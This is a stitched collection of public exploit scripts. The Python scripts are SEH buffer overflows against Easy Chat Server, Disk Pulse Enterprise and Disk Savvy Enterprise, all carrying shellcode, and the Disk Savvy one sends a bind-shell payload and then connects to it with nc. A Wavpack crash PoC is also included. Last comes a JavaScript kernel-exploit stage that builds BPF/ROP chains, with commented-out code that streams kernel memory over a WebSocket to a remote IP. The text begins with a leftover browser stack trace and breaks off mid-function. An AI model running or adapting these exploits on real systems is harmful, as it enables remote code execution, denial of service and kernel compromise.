00 00000000`11e4a590 000007fe`eca1282d jscript9!Js::RegexHelper::RegexReplaceT<0>+0x122e5d
01 00000000`11e4a9d0 000007fe`ec9b9ee3 jscript9!Js::JavascriptString::EntryReplace+0x1e6
02 00000000`11e4aa70 000007fe`ec9b9b5d jscript9!amd64_CallFunction+0x93
03 00000000`11e4aad0 000007fe`eca325e9 jscript9!Js::JavascriptFunction::CallFunction<1>+0x6d
04 00000000`11e4ab10 000007fe`ec9b9ee3 jscript9!Js::JavascriptFunction::EntryCall+0xd9
05 00000000`11e4ab70 000007fe`ecbe6e56 jscript9!amd64_CallFunction+0x93
06 00000000`11e4abe0 000007fe`ec9bd8e0 jscript9!Js::InterpreterStackFrame::Process+0x1071
07 00000000`11e4af20 00000000`14cc0fbb jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x386
08 00000000`11e4b1a0 000007fe`ec9b9ee3 0x14cc0fbb
09 00000000`11e4b1d0 000007fe`ecbe6e56 jscript9!amd64_CallFunction+0x93
0a 00000000`11e4b220 000007fe`ec9bd8e0 jscript9!Js::InterpreterStackFrame::Process+0x1071
0b 00000000`11e4b560 00000000`14cc0fc3 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x386
0c 00000000`11e4b790 000007fe`ec9b9ee3 0x14cc0fc3
0d 00000000`11e4b7c0 000007fe`ec9b9b5d jscript9!amd64_CallFunction+0x93
0e 00000000`11e4b810 000007fe`ec9b9d2e jscript9!Js::JavascriptFunction::CallFunction<1>+0x6d
0f 00000000`11e4b850 000007fe`ec9b9e2f jscript9!Js::JavascriptFunction::CallRootFunction+0x110
10 00000000`11e4b930 000007fe`ec9b9d88 jscript9!ScriptSite::CallRootFunction+0x63
11 00000000`11e4b990 000007fe`ecae3a22 jscript9!ScriptSite::Execute+0x122
12 00000000`11e4ba20 000007fe`ecae2e75 jscript9!ScriptEngine::ExecutePendingScripts+0x208
13 00000000`11e4bb10 000007fe`ecae4924 jscript9!ScriptEngine::ParseScriptTextCore+0x4a5
14 00000000`11e4bc70 000007fe`e912fb61 jscript9!ScriptEngine::ParseScriptText+0xc4
15 00000000`11e4bd20 000007fe`e912f9cb MSHTML!CActiveScriptHolder::ParseScriptText+0xc1
16 00000000`11e4bda0 000007fe`e912f665 MSHTML!CJScript9Holder::ParseScriptText+0xf7
17 00000000`11e4be50 000007fe`e9130a3b MSHTML!CScriptCollection::ParseScriptText+0x28c
18 00000000`11e4bf30 000007fe`e91305be MSHTML!CScriptData::CommitCode+0x3d9
19 00000000`11e4c100 000007fe`e9130341 MSHTML!CScriptData::Execute+0x283
1a 00000000`11e4c1c0 000007fe`e98bfeac MSHTML!CHtmScriptParseCtx::Execute+0x101
1b 00000000`11e4c200 000007fe`e988f02b MSHTML!CHtmParseBase::Execute+0x235
1c 00000000`11e4c2a0 000007fe`e9111a79 MSHTML!CHtmPost::Broadcast+0x115
1d 00000000`11e4c2e0 000007fe`e90a215f MSHTML!CHtmPost::Exec+0x4bb
1e 00000000`11e4c4f0 000007fe`e90a20b0 MSHTML!CHtmPost::Run+0x3f
1f 00000000`11e4c520 000007fe`e90a35ac MSHTML!PostManExecute+0x70
20 00000000`11e4c5a0 000007fe`e90a73a3 MSHTML!PostManResume+0xa1
21 00000000`11e4c5e0 000007fe`e909482f MSHTML!CHtmPost::OnDwnChanCallback+0x43
22 00000000`11e4c630 000007fe`e991f74e MSHTML!CDwnChan::OnMethodCall+0x41
23 00000000`11e4c660 000007fe`e90c7c25 MSHTML!GlobalWndOnMethodCall+0x240
24 00000000`11e4c700 00000000`77449bbd MSHTML!GlobalWndProc+0x150
25 00000000`11e4c780 00000000`774498c2 USER32!UserCallWinProcCheckWow+0x1ad
26 00000000`11e4c840 000007fe`f1d91aab USER32!DispatchMessageWorker+0x3b5
27 00000000`11e4c8c0 000007fe`f1ce59bb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555
28 00000000`11e4fb40 000007fe`fda7572f IEFRAME!LCIETab_ThreadProc+0x3a3
29 00000000`11e4fc70 000007fe`fa87925f iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f
2a 00000000`11e4fca0 00000000`773259cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f
2b 00000000`11e4fcf0 00000000`7755a561 kernel32!BaseThreadInitThunk+0xd
2c 00000000`11e4fd20 00000000`00000000 ntdll!RtlUserThreadStart+0x1d

=========================================
-->
            
# Exploit Author: Juan Sacco <jsacco@exploitpack.com>
# Vulnerability found using Exploit Pack v10 - http://exploitpack.com
#
# Impact:
# An attacker could exploit this vulnerability to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in adenial-of-service condition.
#
# Program description:
# Easy Chat Server is a easy, fast and affordable way to host and manage your own real-time communication software,
# it allows friends/colleagues to chat with you through a Web Browser (IE, Safari, Chrome, Opera etc.)
# Vendor page: http://www.echatserver.com/

import string, sys
import socket, httplib
import struct

def exploit():
  try:
    junk = '\x41' * 217
    shortjmp = "\xeb\x08\xcc\xcc" # Jump over SEH
    seh = struct.pack('<L', 0x100154c5) # ADD ESP,2C # POP ESI # ADD ESP,0C # RETN    ** [SSLEAY32.dll] **   |   {PAGE_EXECUTE_READ}
    buffersize = 2775
    nops = "\x90"
    # debug = "\xcc\xcc\xcc\xcc"
    shellcode = ("\xbb\xc7\x16\xe0\xde\xda\xcc\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
                 "\x33\x83\xc0\x04\x31\x58\x0e\x03\x9f\x18\x02\x2b\xe3\xcd\x4b"
                 "\xd4\x1b\x0e\x2c\x5c\xfe\x3f\x7e\x3a\x8b\x12\x4e\x48\xd9\x9e"
                 "\x25\x1c\xc9\x15\x4b\x89\xfe\x9e\xe6\xef\x31\x1e\xc7\x2f\x9d"
                 "\xdc\x49\xcc\xdf\x30\xaa\xed\x10\x45\xab\x2a\x4c\xa6\xf9\xe3"
                 "\x1b\x15\xee\x80\x59\xa6\x0f\x47\xd6\x96\x77\xe2\x28\x62\xc2"
                 "\xed\x78\xdb\x59\xa5\x60\x57\x05\x16\x91\xb4\x55\x6a\xd8\xb1"
                 "\xae\x18\xdb\x13\xff\xe1\xea\x5b\xac\xdf\xc3\x51\xac\x18\xe3"
                 "\x89\xdb\x52\x10\x37\xdc\xa0\x6b\xe3\x69\x35\xcb\x60\xc9\x9d"
                 "\xea\xa5\x8c\x56\xe0\x02\xda\x31\xe4\x95\x0f\x4a\x10\x1d\xae"
                 "\x9d\x91\x65\x95\x39\xfa\x3e\xb4\x18\xa6\x91\xc9\x7b\x0e\x4d"
                 "\x6c\xf7\xbc\x9a\x16\x5a\xaa\x5d\x9a\xe0\x93\x5e\xa4\xea\xb3"
                 "\x36\x95\x61\x5c\x40\x2a\xa0\x19\xbe\x60\xe9\x0b\x57\x2d\x7b"
                 "\x0e\x3a\xce\x51\x4c\x43\x4d\x50\x2c\xb0\x4d\x11\x29\xfc\xc9"
                 "\xc9\x43\x6d\xbc\xed\xf0\x8e\x95\x8d\x97\x1c\x75\x7c\x32\xa5"
                 "\x1c\x80")
    buffer = junk + shortjmp + seh + nops * (buffersize -
(len(shellcode))) + shellcode
    print buffer
    URL = '/chat.ghp?username=' + buffer + '&password=null&room=1&null=2'
    conn = httplib.HTTPConnection(host, port)
    conn.request('GET', URL)
    conn.close()
  except Exception as Error:
    print "[!] Something went wrong!"
    print Error

def howtousage():
  print "[!] Sorry, minimum required arguments: [host] [port]"
  sys.exit(-1)

if __name__ == '__main__':
  print "[*] EChat Server v3.1 CHAT.ghp (UserName)"
  print "[*] Author: Juan Sacco <jsacco@exploitpack>"

  try:
    host = sys.argv[1]
    port = sys.argv[2]
  except IndexError:
    howtousage()
exploit()
            
# Exploit title: Wavpack 5.1.0 - Denial of Service
# Date: 20.02.2018
# Exploit Author: r4xis
# https://github.com/r4xis
#
# Vendor Homepage:  http://www.wavpack.com/
# Software Links:   http://www.wavpack.com/downloads.html
#                   https://github.com/dbry/WavPack
#
#
# Version: Wavpack 5.1.0
# Tested on:    Debian 9.3.0 64 bit
#               Windows 7 32 bit and 64 bit
#               Windows 8 64 bit
#
#
# CVE: CVE-2018-7254
# CVE Details:
# https://nvd.nist.gov/vuln/detail/CVE-2018-7254
# https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889274
# https://github.com/dbry/WavPack/issues/26


import os

head = "\x63\x61\x66\x66"
version = "\x00\x01"
junk1 = "\x00"*(0xa0-6)
crash = "\x80"
junk2 = "\x00"*100

f=open("poc.caf", 'w')
f.write(head+version+junk1+crash+junk2)
f.close()

os.system("wavpack poc.caf")

'''
Debian gdb output:
Program received signal SIGSEGV, Segmentation fault.
__memmove_sse2_unaligned_erms ()
    at ../sysdeps/x86_64/multiarch/../multiarch/memmove-vec-unaligned-erms.S:333
333	../sysdeps/x86_64/multiarch/../multiarch/memmove-vec-unaligned-erms.S: No such file or directory.
'''
            
#!/usr/bin/env python

# Exploit Title: Disk Pulse Enterprise v10.4.18 - 'Import Command' Buffer Overflow (SEH)
# Date: 2018-01-22
# Exploit Author: Daniel Teixeira
# Author Homepage: www.danielteixeira.com
# Vendor Homepage: http://www.diskpulse.com
# Software Link: http://www.diskpulse.com/setups/diskpulseent_setup_v10.4.18.exe
# Version: 10.4.16
# Tested on: Windows 7 SP1 x86
# CVE: CVE-2017-7310 

import os,struct

#Buffer overflow
junk = "A"*1560

#JMP ESP (QtGui4.dll)
jmpesp= struct.pack('<L',0x651bb77a)

#NOPS
nops = "\x90"

#LEA   EAX, [ESP+76]
esp = "\x8D\x44\x24\x4C"
#JMP ESP
jmp = "\xFF\xE0"

#JMP Short = EB 05
nSEH = "\x90\x90\xEB\x05" #Jump short 5
#POP POP RET (QtGui4.dll)
SEH = struct.pack('<L',0x67033072)

#CALC.EXE
shellcode =  "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"

#PAYLOAD
payload = junk + jmpesp + nops * 16 + esp + jmp + nops * 68 + nSEH + SEH + nops * 10 + shellcode + nops * 5000

#FILE
file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + '\n</classify>'

f = open('Exploit.xml', 'w')
f.write(file)
f.close()
            
# Exploit Title: Disk Savvy Enterprise v10.4.18 Server - Unauthenticated Remote Buffer Overflow SEH
# Date: 01/02/2018
# Exploit Author: Daniel Teixeira
# Vendor Homepage: http://www.disksavvy.com/
# Software Link: http://www.disksavvy.com/setups/disksavvyent_setup_v10.4.18.exe
# Version: 10.4.18
# CVE: CVE-2018-6481
# Tested on: Windows 7 x86


from struct import pack
from os import system
from sys import exit
from time import sleep
import socket

port = 9124
host = "172.16.40.148"

# msfvenom -a x86 --platform windows -p windows/shell_bind_tcp -f py -b '\x00\x02\x0a\x0d\xf8\xfd' --var-name shellcode 
shellcode =  ""
shellcode += "\xba\x71\x6d\xbf\xc8\xd9\xc0\xd9\x74\x24\xf4\x5d"
shellcode += "\x29\xc9\xb1\x53\x83\xed\xfc\x31\x55\x0e\x03\x24"
shellcode += "\x63\x5d\x3d\x3a\x93\x23\xbe\xc2\x64\x44\x36\x27"
shellcode += "\x55\x44\x2c\x2c\xc6\x74\x26\x60\xeb\xff\x6a\x90"
shellcode += "\x78\x8d\xa2\x97\xc9\x38\x95\x96\xca\x11\xe5\xb9"
shellcode += "\x48\x68\x3a\x19\x70\xa3\x4f\x58\xb5\xde\xa2\x08"
shellcode += "\x6e\x94\x11\xbc\x1b\xe0\xa9\x37\x57\xe4\xa9\xa4"
shellcode += "\x20\x07\x9b\x7b\x3a\x5e\x3b\x7a\xef\xea\x72\x64"
shellcode += "\xec\xd7\xcd\x1f\xc6\xac\xcf\xc9\x16\x4c\x63\x34"
shellcode += "\x97\xbf\x7d\x71\x10\x20\x08\x8b\x62\xdd\x0b\x48"
shellcode += "\x18\x39\x99\x4a\xba\xca\x39\xb6\x3a\x1e\xdf\x3d"
shellcode += "\x30\xeb\xab\x19\x55\xea\x78\x12\x61\x67\x7f\xf4"
shellcode += "\xe3\x33\xa4\xd0\xa8\xe0\xc5\x41\x15\x46\xf9\x91"
shellcode += "\xf6\x37\x5f\xda\x1b\x23\xd2\x81\x73\x80\xdf\x39"
shellcode += "\x84\x8e\x68\x4a\xb6\x11\xc3\xc4\xfa\xda\xcd\x13"
shellcode += "\xfc\xf0\xaa\x8b\x03\xfb\xca\x82\xc7\xaf\x9a\xbc"
shellcode += "\xee\xcf\x70\x3c\x0e\x1a\xec\x34\xa9\xf5\x13\xb9"
shellcode += "\x09\xa6\x93\x11\xe2\xac\x1b\x4e\x12\xcf\xf1\xe7"
shellcode += "\xbb\x32\xfa\x16\x60\xba\x1c\x72\x88\xea\xb7\xea"
shellcode += "\x6a\xc9\x0f\x8d\x95\x3b\x38\x39\xdd\x2d\xff\x46"
shellcode += "\xde\x7b\x57\xd0\x55\x68\x63\xc1\x69\xa5\xc3\x96"
shellcode += "\xfe\x33\x82\xd5\x9f\x44\x8f\x8d\x3c\xd6\x54\x4d"
shellcode += "\x4a\xcb\xc2\x1a\x1b\x3d\x1b\xce\xb1\x64\xb5\xec"
shellcode += "\x4b\xf0\xfe\xb4\x97\xc1\x01\x35\x55\x7d\x26\x25"
shellcode += "\xa3\x7e\x62\x11\x7b\x29\x3c\xcf\x3d\x83\x8e\xb9"
shellcode += "\x97\x78\x59\x2d\x61\xb3\x5a\x2b\x6e\x9e\x2c\xd3"
shellcode += "\xdf\x77\x69\xec\xd0\x1f\x7d\x95\x0c\x80\x82\x4c"
shellcode += "\x95\xb0\xc8\xcc\xbc\x58\x95\x85\xfc\x04\x26\x70"
shellcode += "\xc2\x30\xa5\x70\xbb\xc6\xb5\xf1\xbe\x83\x71\xea"
shellcode += "\xb2\x9c\x17\x0c\x60\x9c\x3d"

payload =  "A" * 124            # offset
payload += "\x90\x09\xeb\x05"   # jmp over seh retrun value
payload += "\x13\x6d\x05\x10"   # 0x10056d13 : pop ebx # pop ecx # ret 0x20 | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Disk Savvy Enterprise\bin\libspp.dll)



payload += "\x90" * 10
payload += "\x83\xc4\x64" * 20  # metasm > add esp,100
payload += "\xff\xe4"           # metasm > jmp esp
payload += "\x90" * (1000 - len(payload) - len(shellcode))
payload += shellcode

header =  "\x75\x19\xba\xab"
header += "\x03\x00\x00\x00"
header += "\x00\x40\x00\x00"
header += pack('<I', len(payload))
header += pack('<I', len(payload))
header += pack('<I', ord(payload[-1]))
packet = header
packet += payload 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

    print "[*] Testing connection to tatget %s:%s" %(host,port)
    s.connect((host, port))

except:

    print "[-] Unable to communicate to target %s:%s" %(host,port)

    exit()

s.send(packet)

print "[*] Payload Sent.."
print "[*] Connecting to bind shell %s:4444 .." %host
sleep(5)
system("nc %s 4444"%host)
            
function stage4_()
{
    function malloc(sz)
    {
        var backing = new Uint8Array(1000+sz);
        window.nogc.push(backing);
        var ptr = p.read8(p.leakval(backing).add32(0x10));
        ptr.backing = backing;
        return ptr;
    }
    function malloc32(sz)
    {
        var backing = new Uint8Array(0x1000+sz*4);
        window.nogc.push(backing);
        var ptr = p.read8(p.leakval(backing).add32(0x10));
        ptr.backing = new Uint32Array(backing.buffer);
        return ptr;
    }
    var strcpy_helper = new Uint8Array(0x1000);
    var where_writeptr_strcpy = p.leakval(strcpy_helper).add32(0x10);
    function strcpy(ptr, str)
    {
        p.write8(where_writeptr_strcpy, ptr);
        for (var i = 0; i < str.length; i++)
            strcpy_helper[i] = str.charCodeAt(i) & 0xFF;
        strcpy_helper[str.length] = 0;
    }
    
    
    var sysctlbyname = window.libKernelBase.add32(0xF290);
    var sysreq = malloc32(0x10);
    sysreq.backing[0] = 7;
    sysreq.backing[1] = 0;
    sysreq.backing[4] = 0x10;
    
    var retv = malloc(0x100);
    var __errno_ptr = p.fcall(window.libKernelBase.add32(0x2BE0));
    
    
    var rv = p.fcall(sysctlbyname, p.sptr("machdep.openpsid"), retv, sysreq.add32(0x10), 0, 0);
    
    var str = "";
    for (var i=0; i<0x10; i++)
    {
        str += zeroFill(retv.backing[i].toString(16),2) + " ";
    }
    
   // log("psid: " + str)
    
    var fd = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
    var fd1 = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
    if (fd == (-1 >>> 0))
    {
        print("kexp failed: no bpf0");
    }
//    print("fd: " + fd);
    
    var scratch = malloc(0x100);
    var ifname = malloc(0x10);
    strcpy(ifname, "wlan0");
    p.syscall("ioctl", fd, 0x8020426c, ifname);
    var ret = p.syscall("write", fd, scratch, 40);
    if (ret.low == (-1 >>> 0))
    {
        strcpy(ifname, "eth0");
        p.syscall("ioctl", fd, 0x8020426c, ifname);
        var ret = p.syscall("write", fd, scratch, 40);
        if (ret.low == (-1 >>> 0))
        {
            throw "kexp failed :(";
        }
    }
    
    var assertcnt = 0;
    var assert = function(x)
    {
        assertcnt++;
        if (!x) throw "assertion " + assertcnt + " failed";
    }

    print("got it");
    
    var bpf_valid = malloc32(0x4000);
    var bpf_valid_u32 = bpf_valid.backing;
    var bpf_valid_prog = malloc(0x40);
    p.write8(bpf_valid_prog, 64)
    p.write8(bpf_valid_prog.add32(8), bpf_valid)
    
    for (var i = 0 ; i < 0x4000; )
    {
        bpf_valid_u32[i++] = 6; // BPF_RET
        bpf_valid_u32[i++] = 0;
    }
    
    var bpf_invalid = malloc32(0x4000);
    var bpf_invalid_u32 = bpf_invalid.backing;
    var bpf_invalid_prog = malloc(0x40);
    p.write8(bpf_invalid_prog, 64)
    p.write8(bpf_invalid_prog.add32(8), bpf_invalid)
    
    for (var i = 0 ; i < 0x4000; )
    {
        bpf_invalid_u32[i++] = 4; // NOP
        bpf_invalid_u32[i++] = 0;
    }
    
    var push_bpf = function(bpfbuf, cmd, k)
    {
        var i = bpfbuf.i;
        if (!i) i=0;
        bpfbuf[i*2] = cmd;
        bpfbuf[i*2+1] = k;
        bpfbuf.i = i+1;
    }
    
    push_bpf(bpf_invalid_u32, 5, 2); // jump
    push_bpf(bpf_invalid_u32, 0x12, 0); // invalid opcode
    bpf_invalid_u32.i = 16;

    var bpf_write8imm = function(bpf, offset, imm)
    {
        if (!(imm instanceof int64))
        {
            imm = new int64(imm,0);
        }
        push_bpf(bpf, 0, imm.low); // BPF_LD|BPF_IMM
        push_bpf(bpf, 2, offset); // BPF_ST
        push_bpf(bpf, 0, imm.hi); // BPF_LD|BPF_IMM
        push_bpf(bpf, 2, offset+1); // BPF_ST -> RDI: pop rsp
    }
    
    var bpf_copy8 = function(bpf, offset_to, offset_from)
    {
        push_bpf(bpf, 0x60, offset_from); // BPF_LD|BPF_MEM
        push_bpf(bpf, 2, offset_to); // BPF_ST
        push_bpf(bpf, 0x60, offset_from+1); // BPF_LD|BPF_MEM
        push_bpf(bpf, 2, offset_to+1); // BPF_ST
    }
    var bpf_add4 = function(bpf, offset, val)
    {
        push_bpf(bpf, 0x60, offset); // BPF_LD
        push_bpf(bpf, 0x4, val); // BPF_ALU|BPF_ADD|BPF_K
        push_bpf(bpf, 2, offset); // BPF_ST
    }
    
    
    
    var krop_off_init = 0x1e;
    var krop_off = krop_off_init;
    var reset_krop = function() {
        krop_off = krop_off_init;
        bpf_invalid_u32.i = 16;
    }
    var push_krop = function(value)
    {
        bpf_write8imm(bpf_invalid_u32, krop_off, value);
        krop_off += 2;
    }
    var push_krop_fromoff = function(value)
    {
        bpf_copy8(bpf_invalid_u32, krop_off, value);
        krop_off += 2;
    }
    var finalize_krop = function(retv)
    {
        if(!retv) retv = 5;
        push_bpf(bpf_invalid_u32, 6, retv); // return 5
    }

    var rtv = p.syscall("ioctl", fd, 0x8010427B, bpf_valid_prog);
    assert(rtv.low == 0);
    
    rtv = p.syscall("write", fd, scratch, 40);
    assert(rtv.low == (-1 >>> 0));
    
    var kscratch = malloc32(0x80);
    
    var kchain = new window.RopChain();
    
    kchain.clear();
    kchain.push(window.gadgets["ret"]); 
    kchain.push(window.gadgets["ret"]); 
    kchain.push(window.gadgets["ret"]); 
    kchain.push(window.webKitBase.add32(0x3EBD0)); 

    reset_krop();
    //push_krop(window.gadgets["infloop"]); // 8
    bpf_copy8(bpf_invalid_u32, 0, 0x1e);
    push_krop(window.gadgets["pop rsi"]); // 0x10
    push_krop_fromoff(0);
    push_krop(window.gadgets["pop rsp"]);
    push_krop(kchain.ropframeptr); // 8

    finalize_krop(0);
    
    var spawnthread = function(chain) {
        
        /*
         
         
         seg000:00000000007FA7D0                         sub_7FA7D0      proc near               ; DATA XREF: sub_7F8330+5Eo
         seg000:00000000007FA7D0 55                                      push    rbp
         seg000:00000000007FA7D1 48 89 E5                                mov     rbp, rsp
         seg000:00000000007FA7D4 41 56                                   push    r14
         seg000:00000000007FA7D6 53                                      push    rbx
         seg000:00000000007FA7D7 48 89 F3                                mov     rbx, rsi
         seg000:00000000007FA7DA 49 89 FE                                mov     r14, rdi
         seg000:00000000007FA7DD 48 8D 35 E5 B3 EC 00                    lea     rsi, aMissingPlteBef ; "Missing PLTE before tRNS" < search this
         
         
         -> xref of sub_7FA7D0:
         
         
         seg000:00000000007F8380 48 8D 3D 28 D8 EC 00                    lea     rdi, a1_5_18_0  ; "1.5.18"
         seg000:00000000007F8387 48 8D 15 82 23 00 00                    lea     rdx, sub_7FA710
         seg000:00000000007F838E 48 8D 0D 3B 24 00 00                    lea     rcx, sub_7FA7D0
         seg000:00000000007F8395 31 F6                                   xor     esi, esi
         seg000:00000000007F8397 49 C7 47 20 00 00 00 00                 mov     qword ptr [r15+20h], 0
         seg000:00000000007F839F 66 41 C7 47 18 00 00                    mov     word ptr [r15+18h], 0
         seg000:00000000007F83A6 49 C7 47 10 00 00 00 00                 mov     qword ptr [r15+10h], 0
         seg000:00000000007F83AE E8 8D 3C D3 00                          call    sub_152C040
         
         -> code:
         
         m_png = png_create_read_struct(PNG_LIBPNG_VER_STRING, 0, decodingFailed, decodingWarning);
         
         
         decodingWarning -> sub_7FA7D0 (where Missing PLTE before tRNS is referenced)
         
         decodingFailed -> contains longjmp (which we want)
         
         seg000:00000000007FA710                         sub_7FA710      proc near               ; DATA XREF: sub_7F8330+57o
         seg000:00000000007FA710                                                                 ; sub_7F9DC0+2Eo
         seg000:00000000007FA710 55                                      push    rbp
         seg000:00000000007FA711 48 89 E5                                mov     rbp, rsp
         seg000:00000000007FA714 48 8B 35 5D B6 E5 02                    mov     rsi, cs:qword_3655D78
         seg000:00000000007FA71B BA 60 00 00 00                          mov     edx, 60h ; '`'
         seg000:00000000007FA720 E8 AB E6 D2 00                          call    sub_1528DD0
         seg000:00000000007FA725 BE 01 00 00 00                          mov     esi, 1
         seg000:00000000007FA72A 48 89 C7                                mov     rdi, rax
         seg000:00000000007FA72D E8 26 6D 80 FF                          call    sub_1458 < longjmp
         seg000:00000000007FA732 0F 0B                                   ud2
         seg000:00000000007FA732                         sub_7FA710      endp
         
         
         */
        var longjmp = webKitBase.add32(0x1458);
        
        
        // ThreadIdentifier createThread(ThreadFunction entryPoint, void* data, const char* name)
        /*
         seg000:00000000001DD17F 48 8D 15 C9 38 4C 01                    lea     rdx, aWebcoreGccontr ; "WebCore: GCController" < search this
         seg000:00000000001DD186 31 F6                                   xor     esi, esi
         seg000:00000000001DD188 E8 B3 1B F9 00                          call    sub_116ED40 < createThread
         */
        
        var createThread = window.webKitBase.add32(0x116ED40);
        
        var contextp = malloc32(0x2000);
        var contextz = contextp.backing;
        contextz[0] = 1337;
        
        var thread2 = new RopChain();
        thread2.clear();
        thread2.push(window.gadgets["ret"]); // nop
        thread2.push(window.gadgets["ret"]); // nop
        thread2.push(window.gadgets["ret"]); // nop
        thread2.push(window.gadgets["ret"]); // nop
        chain(thread2);
        
        p.write8(contextp, window.gadgets["ret"]); // rip -> ret gadget
        p.write8(contextp.add32(0x10), thread2.ropframeptr); // rsp
        
        p.fcall(createThread, longjmp, contextp, p.sptr("GottaGoFast"));
        
        window.nogc.push(contextz);
        window.nogc.push(thread2);
        
        return thread2;
    }
    
    var interrupt1 = 0;
    var interrupt2 = 0;
    // ioctl() with valid BPF program -> will trigger reallocation of BFP code alloc
    spawnthread(function(thread2){
                interrupt1 = thread2.ropframeptr;
                thread2.push(window.gadgets["pop rdi"]); // pop rdi
                thread2.push(fd); // what
                thread2.push(window.gadgets["pop rsi"]); // pop rsi
                thread2.push(0x8010427B); // what
                thread2.push(window.gadgets["pop rdx"]); // pop rdx
                thread2.push(bpf_valid_prog); // what
                thread2.push(window.gadgets["pop rsp"]); // pop rdx
                thread2.push(thread2.ropframeptr.add32(0x800)); // what
                thread2.count = 0x100;
                var cntr = thread2.count;
                thread2.push(window.syscalls[54]); // ioctl
                thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl
                
                thread2.push(window.gadgets["pop rsp"]); // pop rdx
                thread2.push(thread2.ropframeptr); // what
                })
    
    // ioctl() with invalid BPF program -> this will be executed when triggering bug
    spawnthread(function(thread2){
                interrupt2 = thread2.ropframeptr;
                thread2.push(window.gadgets["pop rdi"]); // pop rdi
                thread2.push(fd1); // what
                thread2.push(window.gadgets["pop rsi"]); // pop rsi
                thread2.push(0x8010427B); // what
                thread2.push(window.gadgets["pop rdx"]); // pop rdx
                thread2.push(bpf_invalid_prog); // what
                thread2.push(window.gadgets["pop rsp"]); // pop rdx
                thread2.push(thread2.ropframeptr.add32(0x800)); // what
                thread2.count = 0x100;
                var cntr = thread2.count;
                thread2.push(window.syscalls[54]); // ioctl
                thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl
                
                thread2.push(window.gadgets["pop rsp"]); // pop rdx
                thread2.push(thread2.ropframeptr); // what
                })

    function kernel_rop_run(cb)
    {
        kchain.clear();
        kchain.push(window.gadgets["ret"]); 
        kchain.push(window.gadgets["ret"]); 
        kchain.push(window.gadgets["ret"]); 
        kchain.push(window.gadgets["ret"]); 
        kchain.push(window.gadgets["ret"]); 
        kchain.push(window.gadgets["ret"]); 
        cb(kchain);
        kchain.push(window.gadgets["pop rax"]); 
        kchain.push(0); 
        kchain.push(window.gadgets["ret"]); 
        kchain.push(window.webKitBase.add32(0x3EBD0)); 
        while(1)
        {
            if (p.syscall(4, fd, scratch, 40).low == 40)
            {
                return p.read8(kscratch);
                break;
            }
        }
    }
    function leak_kern_rip() {
        return kernel_rop_run(function(kchain)
                              {
                              kchain.push(window.gadgets["pop rdi"]); 
                              kchain.push(kscratch); 
                              kchain.push(window.gadgets["mov [rdi], rsi"]); 
                              });
    }
    
    function kernel_read8(addr) {
        return kernel_rop_run(function(kchain)
                              {
                              kchain.push(window.gadgets["pop rdi"]); 
                              kchain.push(addr); 
                              kchain.push(window.webKitBase.add32(0x13A220)); // deref
                              kchain.push(window.gadgets["pop rdi"]); 
                              kchain.push(kscratch); 
                              kchain.push(window.gadgets["mov [rdi], rax"]); 
                              });
    }
    function kernel_memcpy(to,from,size) {
        return kernel_rop_run(function(kchain)
                              {
                              kchain.push(window.gadgets["pop rdi"]); 
                              kchain.push(to); 
                              kchain.push(window.gadgets["pop rsi"]); 
                              kchain.push(from); 
                              kchain.push(window.gadgets["pop rdx"]); 
                              kchain.push(size); 
                              kchain.push(window.gadgets["memcpy"]); 
                              kchain.push(window.gadgets["mov [rdi], rax"]); 
                              });
    }
    var kern_base = leak_kern_rip();
    kern_base.low &= 0xffffc000;
    kern_base.low -= 0x164000;
    log("ay! " + kernel_read8(kern_base) + " " + kern_base);
    
    /*
    var chunksz = 0x40000;
    var pagebuf = malloc(chunksz);
    
    connection = new WebSocket('ws://192.168.0.125:8080');
    connection.binaryType = "arraybuffer";
    connection.onmessage = function() {
        try {
            kernel_memcpy(pagebuf, kern_base, chunksz);
            connection.send(new Uint8Array(pagebuf.backing.buffer, 0, chunksz));
            kern_base.add32inplace(chunksz);
        }catch(e) {log(e);}
    }
     
     
     LOAD:FFFFFFFF9144CF70 0F 20 C0                                mov     rax, cr0
     LOAD:FFFFFFFF9144CF73 48 0D 2A 00 05 00                       or      rax, 5002Ah
     LOAD:FFFFFFFF9144CF79 0F 22 C0                                mov     cr0, rax
     LOAD:FFFFFFFF9144CF7C C3                                      retn
     FFFFFFFF91562A58
     */
    var getset_cr0 = kern_base.add32(0x280f70);
    var set_cr0 = kern_base.add32(0x280f79);
    
    function kernel_get_cr0() {
        return kernel_rop_run(function(kchain)
                              {
                              kchain.push(getset_cr0); 
                              kchain.push(window.gadgets["pop rdi"]); 
                              kchain.push(kscratch); 
                              kchain.push(window.gadgets["mov [rdi], rax"]); 
                              });
    }

    var cr0val = kernel_get_cr0();
    cr0val.low &= ((~(1 << 16)) >>> 0);
    log("cr0: " + cr0val);
    function kernel_write8_cr0(addr, val) {
        return kernel_rop_run(function(kchain)
                              {
                              kchain.push(window.gadgets["pop rax"]); 
                              kchain.push(cr0val); 
                              kchain.push(set_cr0);
